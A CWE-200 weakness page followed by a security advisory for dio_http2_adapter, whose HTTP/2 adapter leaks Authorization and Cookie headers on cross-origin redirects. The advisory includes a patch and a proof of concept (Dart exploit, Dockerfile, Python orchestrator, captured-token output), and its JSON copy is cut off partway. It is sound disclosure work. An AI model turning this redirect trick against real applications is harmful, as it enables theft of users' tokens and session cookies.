CWE-200
Weakness DiscouragedExposure of Sensitive Information to an Unauthorized Actor
Abstraction: Class · Status: Draft
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
Technical nuance
There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include:
private, personal information, such as personal messages, financial data, health records, geographic location, or contact details
system status and environment, such as the operating system and installed packages
business secrets and intellectual property
network status and configuration
the product's own code or internal state
metadata, e.g. logging of connections or message headers
indirect information, such as a discrepancy between two internal operations that can be observed by an outsider
Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include:
the product's own users
people or organizations whose information is created or used by the product, even if they are not direct product users
the product's administrators, including the admins of the system(s) and/or networks on which the product operates
the developer
Information exposures can occur in different ways:
the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized"
a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program.
the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place.
Mapping guidance
CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information. Unfortunately, CWE-200 is commonly misused to represent the loss of confidentiality in a vulnerability. From the CWE perspective, loss of confidentiality is a technical impact, not a root cause error. Loss of confidentiality can arize from many different weaknesses, such as insecure file permissions or out-of-bounds read. As of CWE 4.20, over 400 CWE entries can lead to a loss of confidentiality. Other options are often available. [REF-1287].
If an error or mistake causes information to be disclosed, then use the CWE ID for that error.
Modes of introduction
Detection methods
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Inter-application Flow Analysis
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Fuzz Tester
Framework-based Fuzzer
Automated Monitored Execution
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
Source code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Attack Modeling
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Content history
Identified incorrect language tag in demonstrative example.
updated Time_of_Introduction
updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
updated Alternate_Terms, Description, Name
updated Taxonomy_Mappings
updated Related_Attack_Patterns
updated Description, Relationships
updated Common_Consequences
updated Related_Attack_Patterns, Relationships
updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, References
updated Related_Attack_Patterns
updated Detection_Factors, Relationships
updated Relationships
updated Related_Attack_Patterns
updated References
updated Related_Attack_Patterns
updated Related_Attack_Patterns, Relationships
updated Demonstrative_Examples, Observed_Examples, Relationships
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Related_Attack_Patterns, Relationships, Weakness_Ordinalities
updated Relationships
updated Alternate_Terms, Description, Maintenance_Notes, Related_Attack_Patterns, Relationships
updated Potential_Mitigations
updated Relationships
updated Relationships
updated Demonstrative_Examples, Maintenance_Notes, Observed_Examples, References
updated References, Relationships
updated Mapping_Notes
updated Observed_Examples
updated Relationships
updated Relationships
updated Detection_Factors, References
updated Applicable_Platforms, Relationships
updated Maintenance_Notes, Mapping_Notes
updated Alternate_Terms, Description, Mapping_Notes, Relationships, Technical_Nuance
16492 vulnerabilities reference this CWE, most recent first.
GHSA-CR65-55V9-XHVV
Vulnerability from github – Published: 2026-10-15 20:18 – Updated: 2026-10-15 20:18Summary
dio_http2_adapter follows HTTP Location redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin 302 redirect receives the victim's Authorization, Cookie, and Proxy-Authorization headers verbatim. This vulnerability has a CVSS v3.1 base score of 7.5 (High) because followRedirects is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high.
Details
When Dio is configured to use Http2Adapter, the adapter's internal _fetch method constructs HTTP/2 request headers by unconditionally copying all entries from options.headers:
// plugins/http2_adapter/lib/src/http2_adapter.dart:111
headers.addAll(
options.headers.entries.map((entry) {
...
return Header.ascii(entry.key.toLowerCase(), v);
}).toList(),
);
On receiving a 3xx response, the adapter reads the Location header and resolves the redirect target URI:
// plugins/http2_adapter/lib/src/http2_adapter.dart:254-263
final url = responseHeaders.value('location');
final uri = Uri.parse(url ?? '');
final String path = resolveRedirectUri(options.uri, uri).toString();
return _fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...);
options.copyWith is called without an explicit headers argument; dio/lib/src/options.dart:629 therefore preserves the full original header map via headers ?? Map.from(this.headers). resolveRedirectUri (http2_adapter.dart:290) returns an attacker-controlled cross-origin URI without any origin comparison. The combination means that on every redirect, the full set of original sensitive headers — including Authorization, Cookie, and Proxy-Authorization — is forwarded to the new authority with no sanitization.
Data flow (source → sink):
dio/lib/src/dio_mixin.dart:383— publicDio.request<T>(String path, ...)entry point.dio/lib/src/options.dart:331— base and per-request headers merged intoRequestOptions.dio/lib/src/dio_mixin.dart:596—httpClientAdapter.fetch(reqOpt, ...)dispatches toHttp2Adapter.plugins/http2_adapter/lib/src/http2_adapter.dart:254—Locationheader is read from the network response (attacker-controlled source).plugins/http2_adapter/lib/src/http2_adapter.dart:258— redirect target URI resolved; cross-origin check absent.plugins/http2_adapter/lib/src/http2_adapter.dart:260—options.copyWith(path: path, ...)called withoutheadersoverride.dio/lib/src/options.dart:629—copyWithpreservesMap.from(this.headers)— all sensitive headers retained.plugins/http2_adapter/lib/src/http2_adapter.dart:111— preserved headers emitted verbatim to the cross-origin HTTP/2 request (sink).
Suggested patch — strip sensitive headers before following a cross-origin redirect:
--- a/plugins/http2_adapter/lib/src/http2_adapter.dart
+++ b/plugins/http2_adapter/lib/src/http2_adapter.dart
+ static const _sensitiveRedirectHeaders = {
+ 'authorization',
+ 'cookie',
+ 'proxy-authorization',
+ };
+
- final String path = resolveRedirectUri(options.uri, uri).toString();
+ final redirectUri = resolveRedirectUri(options.uri, uri);
+ final redirectOptions = options.copyWith(
+ path: redirectUri.toString(),
+ maxRedirects: --options.maxRedirects,
+ );
+ if (!_sameOrigin(options.uri, redirectUri)) {
+ redirectOptions.headers.removeWhere(
+ (name, _) => _sensitiveRedirectHeaders.contains(name.toLowerCase()),
+ );
+ }
return _fetch(
- options.copyWith(path: path, maxRedirects: --options.maxRedirects),
+ redirectOptions,
list != null ? Stream.fromIterable(list) : null,
cancelFuture,
redirects,
);
+
+ static bool _sameOrigin(Uri a, Uri b) =>
+ a.scheme == b.scheme && a.host == b.host && a.port == b.port;
PoC
The following steps reproduce the vulnerability using two local HTTP/2 cleartext (h2c) servers inside an isolated Docker container (no external network required).
Prerequisites:
- Docker installed and accessible.
- Repository checked out at the path used as the build context.
Build and run:
# From the repository root (github_web_81_cfug__dio/)
docker build -f vuln-001/Dockerfile -t dio-vuln-001:poc .
docker run --rm --network none dio-vuln-001:poc
What the container does:
- Starts an origin h2c server on
127.0.0.1:18081that immediately returns302 Location: http://127.0.0.1:18082/capture. - Starts an attacker h2c server on
127.0.0.1:18082that logs every received header. - Executes the following Dart exploit:
final dio = Dio()
..httpClientAdapter = Http2Adapter(ConnectionManager());
await dio.get(
'http://127.0.0.1:18081/start',
options: Options(headers: {
'Authorization': 'Bearer SECRET_TOKEN_12345',
'Cookie': 'sid=SECRET_SESSION_ABC',
'x-secret': 'internal-secret-value',
}),
);
Expected output (confirms vulnerability):
RESULT=VULN_CONFIRMED
LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345
LEAKED_COOKIE=sid=SECRET_SESSION_ABC
[ATTACKER] Received headers:
[ATTACKER] authorization: Bearer SECRET_TOKEN_12345
[ATTACKER] cookie: sid=SECRET_SESSION_ABC
[ATTACKER] x-secret: internal-secret-value
The attacker server at 127.0.0.1:18082 receives all three sensitive headers, demonstrating that Http2Adapter forwards them verbatim across the cross-origin redirect with no stripping.
Impact
This is a sensitive information disclosure vulnerability. Any application that:
- configures
DiowithHttp2Adapter, and - sends requests carrying
Authorization,Cookie, orProxy-Authorizationheaders,
is affected. Because followRedirects defaults to true and maxRedirects defaults to 5, no additional configuration is needed to trigger the bug.
An attacker who controls — or can compromise — any HTTP server that the victim application contacts can issue a 302 redirect to an attacker-owned server and thereby capture the victim's bearer tokens, session cookies, or proxy credentials. The attack requires no prior authentication and is executable over the network with low complexity. Stolen credentials may then be used to impersonate the victim against the original service or any other service that accepts the same token.
Affected parties include server-side Dart/Flutter applications and CLI tools that make authenticated HTTP/2 requests through dio_http2_adapter.
Reproduction artifacts
Dockerfile
# Dockerfile for VULN-001 dynamic reproduction
# Vulnerability: Cross-origin redirect leaks sensitive request headers in dio_http2_adapter
#
# Build context: the parent directory (github_web_81_cfug__dio/)
# docker build -f vuln-001/Dockerfile -t dio-vuln-001 .
#
# What this image does:
# 1. Installs Dart SDK (stable)
# 2. Copies the vulnerable repository source (dio + dio_http2_adapter)
# 3. Creates a PoC Dart project using path dependencies to the local source
# 4. Resolves pub packages
# 5. On container run: executes the exploit script that starts two local
# h2c servers (origin + attacker) and makes a redirected request to prove
# that Authorization/Cookie headers are forwarded to the cross-origin target
FROM dart:stable AS builder
# ── Repository source ──────────────────────────────────────────────────────────
# Copy only the packages we need to keep image small
COPY repo/dio/ /repo/dio/
COPY repo/plugins/http2_adapter/ /repo/plugins/http2_adapter/
# ── PoC project setup ──────────────────────────────────────────────────────────
WORKDIR /poc
COPY vuln-001/poc_pubspec.yaml pubspec.yaml
COPY vuln-001/poc_exploit.dart lib/main.dart
# Resolve dependencies (requires network access to pub.dev for http2, meta, etc.)
RUN dart pub get
# ── Runtime image (reuse builder to keep it simple) ────────────────────────────
FROM builder AS final
WORKDIR /poc
# Run the exploit; exit code:
# 0 = VULN_CONFIRMED (authorization header leaked to attacker)
# 1 = NOT_VULNERABLE (header was stripped or redirect not followed)
# 2 = FAIL (attacker server never received a request — env issue)
CMD ["dart", "run", "lib/main.dart"]
poc.py
#!/usr/bin/env python3
"""
PoC orchestrator for VULN-001:
Cross-origin redirect leaks sensitive request headers in dio_http2_adapter.
Usage:
python3 poc.py [--image-tag TAG]
What it does:
1. Builds a Docker image containing the vulnerable dio_http2_adapter source
and a Dart exploit script (poc_exploit.dart).
2. Runs the container, which:
a. Starts two local h2c (HTTP/2 cleartext) servers inside the container:
- Origin (127.0.0.1:18081): returns 302 → attacker
- Attacker (127.0.0.1:18082): logs all received headers
b. Uses dio + Http2Adapter to GET http://origin/start with
Authorization and Cookie headers.
c. Follows the 302 redirect to the attacker server.
d. Reports whether the Authorization header was captured by the attacker.
3. Writes phase2_result.json with structured verdict.
Exit codes:
0 PASS — vulnerability confirmed
1 FAIL — not reproduced
2 ERROR — build or runtime environment problem
"""
import argparse
import json
import os
import subprocess
import sys
import textwrap
from pathlib import Path
# ── Paths ──────────────────────────────────────────────────────────────────────
SCRIPT_DIR = Path(__file__).resolve().parent
REPO_ROOT = SCRIPT_DIR.parent # github_web_81_cfug__dio/
RESULT_FILE = SCRIPT_DIR / "phase2_result.json"
BUILD_CONTEXT = str(REPO_ROOT)
DOCKERFILE = str(SCRIPT_DIR / "Dockerfile")
DEFAULT_IMAGE_TAG = "dio-vuln-001:poc"
def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
"""Run a subprocess command, streaming stdout/stderr to the terminal."""
print(f"[+] {' '.join(cmd)}", flush=True)
return subprocess.run(cmd, **kwargs)
def build_image(tag: str) -> bool:
"""Build the Docker image. Returns True on success."""
result = run(
[
"docker", "build",
"--file", DOCKERFILE,
"--tag", tag,
BUILD_CONTEXT,
],
check=False,
)
if result.returncode != 0:
print(f"[!] Docker build failed (exit {result.returncode})", file=sys.stderr)
return False
return True
def run_container(tag: str, timeout_sec: int = 120) -> tuple[int, str, str]:
"""
Run the container and capture its output.
Returns:
(returncode, stdout, stderr)
"""
result = run(
[
"docker", "run",
"--rm",
"--network", "none", # no external network; loopback only
tag,
],
capture_output=True,
text=True,
timeout=timeout_sec,
check=False,
)
return result.returncode, result.stdout, result.stderr
def parse_output(stdout: str, stderr: str) -> dict:
"""
Parse structured key=value lines from the exploit's stdout.
The Dart exploit writes lines like:
RESULT=VULN_CONFIRMED
LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345
EVIDENCE=...
"""
parsed = {}
for line in stdout.splitlines():
if "=" in line:
key, _, val = line.partition("=")
parsed[key.strip()] = val.strip()
return parsed
def write_result(data: dict) -> None:
with open(RESULT_FILE, "w", encoding="utf-8") as f:
json.dump(data, f, ensure_ascii=False, indent=2)
print(f"\n[+] Result written to {RESULT_FILE}")
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument(
"--image-tag", default=DEFAULT_IMAGE_TAG,
help=f"Docker image tag (default: {DEFAULT_IMAGE_TAG})",
)
args = parser.parse_args()
tag = args.image_tag
build_cmd = (
f"docker build -f vuln-001/Dockerfile -t {tag} ."
)
run_cmd = (
f"docker run --rm --network none {tag}"
)
poc_cmd = (
f"cd {REPO_ROOT} && {build_cmd} && {run_cmd}"
)
# ── Step 1: Build ──────────────────────────────────────────────────────────
print("=" * 70)
print("STEP 1: Building Docker image")
print("=" * 70)
if not build_image(tag):
result_data = {
"passed": False,
"verdict": "FAIL",
"reason": "Docker image build failed — dart pub get or source copy error",
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": "docker build non-zero exit code",
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
return 2
# ── Step 2: Run exploit ────────────────────────────────────────────────────
print("\n" + "=" * 70)
print("STEP 2: Running exploit container")
print("=" * 70)
try:
returncode, stdout, stderr = run_container(tag)
except subprocess.TimeoutExpired:
result_data = {
"passed": False,
"verdict": "INCOMPLETE",
"reason": "Container execution did not complete within 120 seconds and was terminated due to timeout",
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": "subprocess.TimeoutExpired after 120 s",
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
return 2
print("\n── Container STDOUT ─────────────────────────────────────────────")
print(stdout or "(empty)")
print("── Container STDERR ─────────────────────────────────────────────")
print(stderr or "(empty)")
print("── Exit code:", returncode, "─────────────────────────────────────")
# ── Step 3: Evaluate results ───────────────────────────────────────────────
parsed = parse_output(stdout, stderr)
exploit_result = parsed.get("RESULT", "")
leaked_header = parsed.get("LEAKED_HEADER", "")
evidence_line = parsed.get("EVIDENCE", "")
if returncode == 0 and exploit_result == "VULN_CONFIRMED" and leaked_header:
# Combine stdout + a snippet of stderr for the evidence field
stderr_snippet = "\n".join(
line for line in stderr.splitlines()
if any(tag in line for tag in ("[ATTACKER]", "[RESULT]", "[EVIDENCE]"))
)[:1500]
evidence = (
f"stdout: {stdout.strip()}\n\n"
f"stderr (relevant):\n{stderr_snippet}"
)
result_data = {
"passed": True,
"verdict": "PASS",
"reason": (
"dio_http2_adapter forwarded the original Authorization header verbatim "
"to the attacker's server without stripping it when following a "
"cross-origin 302 redirect. The attacker h2c server (127.0.0.1:18082) "
f"received '{leaked_header}'."
),
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": evidence,
"artifacts": [
"Dockerfile",
"poc_exploit.dart",
"poc_pubspec.yaml",
"poc.py",
],
}
write_result(result_data)
print("\n[PASS] VULN-001 reproduced successfully.")
return 0
elif returncode == 1 or exploit_result == "NOT_VULNERABLE":
result_data = {
"passed": False,
"verdict": "FAIL",
"reason": (
"Container execution succeeded, but the attacker server did not "
"receive the Authorization header. The vulnerability was not "
f"reproduced in this environment. Parsed result: {parsed}"
),
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": stdout + "\n" + stderr,
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
print("\n[FAIL] Vulnerability not reproduced.")
return 1
else:
# returncode == 2 or other unexpected failure
result_data = {
"passed": False,
"verdict": "INCOMPLETE",
"reason": (
f"Container execution failed or exited with an unexpected code {returncode}. "
"Cause: h2c server startup error, network issue, or Dart runtime "
"error. Check the stderr log and retry without --network none."
),
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": f"exit={returncode}\nstdout={stdout}\nstderr={stderr}",
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
print(f"\n[INCOMPLETE] Container exited with code {returncode}.")
return 2
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.7.1"
},
"package": {
"ecosystem": "Pub",
"name": "dio_http2_adapter"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "2.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-103030"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:18:37Z",
"nvd_published_at": "2026-10-13T17:17:14Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`dio_http2_adapter` follows HTTP `Location` redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin `302` redirect receives the victim\u0027s `Authorization`, `Cookie`, and `Proxy-Authorization` headers verbatim. This vulnerability has a CVSS v3.1 base score of **7.5 (High)** because `followRedirects` is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high.\n\n### Details\n\nWhen `Dio` is configured to use `Http2Adapter`, the adapter\u0027s internal `_fetch` method constructs HTTP/2 request headers by unconditionally copying all entries from `options.headers`:\n\n```dart\n// plugins/http2_adapter/lib/src/http2_adapter.dart:111\nheaders.addAll(\n options.headers.entries.map((entry) {\n ...\n return Header.ascii(entry.key.toLowerCase(), v);\n }).toList(),\n);\n```\n\nOn receiving a `3xx` response, the adapter reads the `Location` header and resolves the redirect target URI:\n\n```dart\n// plugins/http2_adapter/lib/src/http2_adapter.dart:254-263\nfinal url = responseHeaders.value(\u0027location\u0027);\nfinal uri = Uri.parse(url ?? \u0027\u0027);\nfinal String path = resolveRedirectUri(options.uri, uri).toString();\nreturn _fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...);\n```\n\n`options.copyWith` is called without an explicit `headers` argument; `dio/lib/src/options.dart:629` therefore preserves the full original header map via `headers ?? Map.from(this.headers)`. `resolveRedirectUri` (`http2_adapter.dart:290`) returns an attacker-controlled cross-origin URI without any origin comparison. The combination means that on every redirect, the full set of original sensitive headers \u2014 including `Authorization`, `Cookie`, and `Proxy-Authorization` \u2014 is forwarded to the new authority with no sanitization.\n\n**Data flow (source \u2192 sink):**\n\n1. `dio/lib/src/dio_mixin.dart:383` \u2014 public `Dio.request\u003cT\u003e(String path, ...)` entry point.\n2. `dio/lib/src/options.dart:331` \u2014 base and per-request headers merged into `RequestOptions`.\n3. `dio/lib/src/dio_mixin.dart:596` \u2014 `httpClientAdapter.fetch(reqOpt, ...)` dispatches to `Http2Adapter`.\n4. `plugins/http2_adapter/lib/src/http2_adapter.dart:254` \u2014 `Location` header is read from the network response (attacker-controlled source).\n5. `plugins/http2_adapter/lib/src/http2_adapter.dart:258` \u2014 redirect target URI resolved; cross-origin check absent.\n6. `plugins/http2_adapter/lib/src/http2_adapter.dart:260` \u2014 `options.copyWith(path: path, ...)` called without `headers` override.\n7. `dio/lib/src/options.dart:629` \u2014 `copyWith` preserves `Map.from(this.headers)` \u2014 all sensitive headers retained.\n8. `plugins/http2_adapter/lib/src/http2_adapter.dart:111` \u2014 preserved headers emitted verbatim to the cross-origin HTTP/2 request (sink).\n\n**Suggested patch** \u2014 strip sensitive headers before following a cross-origin redirect:\n\n```diff\n--- a/plugins/http2_adapter/lib/src/http2_adapter.dart\n+++ b/plugins/http2_adapter/lib/src/http2_adapter.dart\n+ static const _sensitiveRedirectHeaders = {\n+ \u0027authorization\u0027,\n+ \u0027cookie\u0027,\n+ \u0027proxy-authorization\u0027,\n+ };\n+\n- final String path = resolveRedirectUri(options.uri, uri).toString();\n+ final redirectUri = resolveRedirectUri(options.uri, uri);\n+ final redirectOptions = options.copyWith(\n+ path: redirectUri.toString(),\n+ maxRedirects: --options.maxRedirects,\n+ );\n+ if (!_sameOrigin(options.uri, redirectUri)) {\n+ redirectOptions.headers.removeWhere(\n+ (name, _) =\u003e _sensitiveRedirectHeaders.contains(name.toLowerCase()),\n+ );\n+ }\n return _fetch(\n- options.copyWith(path: path, maxRedirects: --options.maxRedirects),\n+ redirectOptions,\n list != null ? Stream.fromIterable(list) : null,\n cancelFuture,\n redirects,\n );\n+\n+ static bool _sameOrigin(Uri a, Uri b) =\u003e\n+ a.scheme == b.scheme \u0026\u0026 a.host == b.host \u0026\u0026 a.port == b.port;\n```\n\n### PoC\n\nThe following steps reproduce the vulnerability using two local HTTP/2 cleartext (h2c) servers inside an isolated Docker container (no external network required).\n\n**Prerequisites:**\n\n- Docker installed and accessible.\n- Repository checked out at the path used as the build context.\n\n**Build and run:**\n\n```bash\n# From the repository root (github_web_81_cfug__dio/)\ndocker build -f vuln-001/Dockerfile -t dio-vuln-001:poc .\ndocker run --rm --network none dio-vuln-001:poc\n```\n\n**What the container does:**\n\n1. Starts an *origin* h2c server on `127.0.0.1:18081` that immediately returns `302 Location: http://127.0.0.1:18082/capture`.\n2. Starts an *attacker* h2c server on `127.0.0.1:18082` that logs every received header.\n3. Executes the following Dart exploit:\n\n```dart\nfinal dio = Dio()\n ..httpClientAdapter = Http2Adapter(ConnectionManager());\nawait dio.get(\n \u0027http://127.0.0.1:18081/start\u0027,\n options: Options(headers: {\n \u0027Authorization\u0027: \u0027Bearer SECRET_TOKEN_12345\u0027,\n \u0027Cookie\u0027: \u0027sid=SECRET_SESSION_ABC\u0027,\n \u0027x-secret\u0027: \u0027internal-secret-value\u0027,\n }),\n);\n```\n\n**Expected output (confirms vulnerability):**\n\n```\nRESULT=VULN_CONFIRMED\nLEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345\nLEAKED_COOKIE=sid=SECRET_SESSION_ABC\n\n[ATTACKER] Received headers:\n[ATTACKER] authorization: Bearer SECRET_TOKEN_12345\n[ATTACKER] cookie: sid=SECRET_SESSION_ABC\n[ATTACKER] x-secret: internal-secret-value\n```\n\nThe attacker server at `127.0.0.1:18082` receives all three sensitive headers, demonstrating that `Http2Adapter` forwards them verbatim across the cross-origin redirect with no stripping.\n\n### Impact\n\nThis is a **sensitive information disclosure** vulnerability. Any application that:\n\n1. configures `Dio` with `Http2Adapter`, and\n2. sends requests carrying `Authorization`, `Cookie`, or `Proxy-Authorization` headers,\n\nis affected. Because `followRedirects` defaults to `true` and `maxRedirects` defaults to `5`, no additional configuration is needed to trigger the bug.\n\nAn attacker who controls \u2014 or can compromise \u2014 any HTTP server that the victim application contacts can issue a `302` redirect to an attacker-owned server and thereby capture the victim\u0027s bearer tokens, session cookies, or proxy credentials. The attack requires no prior authentication and is executable over the network with low complexity. Stolen credentials may then be used to impersonate the victim against the original service or any other service that accepts the same token.\n\nAffected parties include server-side Dart/Flutter applications and CLI tools that make authenticated HTTP/2 requests through `dio_http2_adapter`.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n# Vulnerability: Cross-origin redirect leaks sensitive request headers in dio_http2_adapter\n#\n# Build context: the parent directory (github_web_81_cfug__dio/)\n# docker build -f vuln-001/Dockerfile -t dio-vuln-001 .\n#\n# What this image does:\n# 1. Installs Dart SDK (stable)\n# 2. Copies the vulnerable repository source (dio + dio_http2_adapter)\n# 3. Creates a PoC Dart project using path dependencies to the local source\n# 4. Resolves pub packages\n# 5. On container run: executes the exploit script that starts two local\n# h2c servers (origin + attacker) and makes a redirected request to prove\n# that Authorization/Cookie headers are forwarded to the cross-origin target\n\nFROM dart:stable AS builder\n\n# \u2500\u2500 Repository source \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Copy only the packages we need to keep image small\nCOPY repo/dio/ /repo/dio/\nCOPY repo/plugins/http2_adapter/ /repo/plugins/http2_adapter/\n\n# \u2500\u2500 PoC project setup \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /poc\n\nCOPY vuln-001/poc_pubspec.yaml pubspec.yaml\nCOPY vuln-001/poc_exploit.dart lib/main.dart\n\n# Resolve dependencies (requires network access to pub.dev for http2, meta, etc.)\nRUN dart pub get\n\n# \u2500\u2500 Runtime image (reuse builder to keep it simple) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM builder AS final\n\nWORKDIR /poc\n\n# Run the exploit; exit code:\n# 0 = VULN_CONFIRMED (authorization header leaked to attacker)\n# 1 = NOT_VULNERABLE (header was stripped or redirect not followed)\n# 2 = FAIL (attacker server never received a request \u2014 env issue)\nCMD [\"dart\", \"run\", \"lib/main.dart\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC orchestrator for VULN-001:\n Cross-origin redirect leaks sensitive request headers in dio_http2_adapter.\n\nUsage:\n python3 poc.py [--image-tag TAG]\n\nWhat it does:\n 1. Builds a Docker image containing the vulnerable dio_http2_adapter source\n and a Dart exploit script (poc_exploit.dart).\n 2. Runs the container, which:\n a. Starts two local h2c (HTTP/2 cleartext) servers inside the container:\n - Origin (127.0.0.1:18081): returns 302 \u2192 attacker\n - Attacker (127.0.0.1:18082): logs all received headers\n b. Uses dio + Http2Adapter to GET http://origin/start with\n Authorization and Cookie headers.\n c. Follows the 302 redirect to the attacker server.\n d. Reports whether the Authorization header was captured by the attacker.\n 3. Writes phase2_result.json with structured verdict.\n\nExit codes:\n 0 PASS \u2014 vulnerability confirmed\n 1 FAIL \u2014 not reproduced\n 2 ERROR \u2014 build or runtime environment problem\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\nfrom pathlib import Path\n\n# \u2500\u2500 Paths \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nSCRIPT_DIR = Path(__file__).resolve().parent\nREPO_ROOT = SCRIPT_DIR.parent # github_web_81_cfug__dio/\nRESULT_FILE = SCRIPT_DIR / \"phase2_result.json\"\n\nBUILD_CONTEXT = str(REPO_ROOT)\nDOCKERFILE = str(SCRIPT_DIR / \"Dockerfile\")\nDEFAULT_IMAGE_TAG = \"dio-vuln-001:poc\"\n\n\ndef run(cmd: list[str], **kwargs) -\u003e subprocess.CompletedProcess:\n \"\"\"Run a subprocess command, streaming stdout/stderr to the terminal.\"\"\"\n print(f\"[+] {\u0027 \u0027.join(cmd)}\", flush=True)\n return subprocess.run(cmd, **kwargs)\n\n\ndef build_image(tag: str) -\u003e bool:\n \"\"\"Build the Docker image. Returns True on success.\"\"\"\n result = run(\n [\n \"docker\", \"build\",\n \"--file\", DOCKERFILE,\n \"--tag\", tag,\n BUILD_CONTEXT,\n ],\n check=False,\n )\n if result.returncode != 0:\n print(f\"[!] Docker build failed (exit {result.returncode})\", file=sys.stderr)\n return False\n return True\n\n\ndef run_container(tag: str, timeout_sec: int = 